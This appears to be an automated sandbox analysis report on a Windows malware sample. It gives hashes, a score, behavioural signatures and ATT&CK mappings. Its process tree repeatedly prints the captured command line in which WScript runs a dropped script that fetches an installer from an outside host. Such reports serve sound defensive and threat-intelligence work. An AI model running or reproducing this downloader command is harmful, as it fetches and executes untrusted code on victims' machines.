c41c7bef9a29fda257e8c1ced572121ebeacea30732f8f7a2b32b8e169a27f8c

General

Target

0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe
Size

184KB
MD5

0f4b8b08ca35a0fc099fa7bc7386950d
SHA1

9b3e6a44767ac36c75f9cb704883320123d806cd
SHA256

c41c7bef9a29fda257e8c1ced572121ebeacea30732f8f7a2b32b8e169a27f8c
SHA512

37ccbef69d5fcb68d865b986f840ff42eac569096f41dc31b047858d783c8d78a12316089b512655ff02f59d21cd952c53ec1fe3649fcda96313c207168099a5
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3L:/7BSH8zUB+nGESaaRvoB7FJNndnC

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	3276	WScript.exe
38	404	WScript.exe
41	1356	WScript.exe
42	1356	WScript.exe
57	2076	WScript.exe
60	3392	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4456	2444	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000_Classes\Local Settings	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 3276	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	83
PID 2444 wrote to memory of 3276	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	83
PID 2444 wrote to memory of 3276	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	83
PID 2444 wrote to memory of 404	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	97
PID 2444 wrote to memory of 404	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	97
PID 2444 wrote to memory of 404	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	97
PID 2444 wrote to memory of 1356	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	98
PID 2444 wrote to memory of 1356	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	98
PID 2444 wrote to memory of 1356	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	98
PID 2444 wrote to memory of 2076	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	101
PID 2444 wrote to memory of 2076	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	101
PID 2444 wrote to memory of 2076	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	101
PID 2444 wrote to memory of 3392	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	102
PID 2444 wrote to memory of 3392	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	102
PID 2444 wrote to memory of 3392	2444	0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0f4b8b08ca35a0fc099fa7bc7386950d_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3086.js" http://www.djapp.info/?domain=DImPhFpsDE.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3086.exe
  2⤵
  - Blocklisted process makes network request
  PID:3276
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3086.js" http://www.djapp.info/?domain=DImPhFpsDE.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3086.exe
  2⤵
  - Blocklisted process makes network request
  PID:404
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3086.js" http://www.djapp.info/?domain=DImPhFpsDE.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3086.exe
  2⤵
  - Blocklisted process makes network request
  PID:1356
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3086.js" http://www.djapp.info/?domain=DImPhFpsDE.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3086.exe
  2⤵
  - Blocklisted process makes network request
  PID:2076
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3086.js" http://www.djapp.info/?domain=DImPhFpsDE.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3086.exe
  2⤵
  - Blocklisted process makes network request
  PID:3392
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 1452
  2⤵
  - Program crash
  PID:4456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2444 -ip 2444
1⤵
PID:1512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3086.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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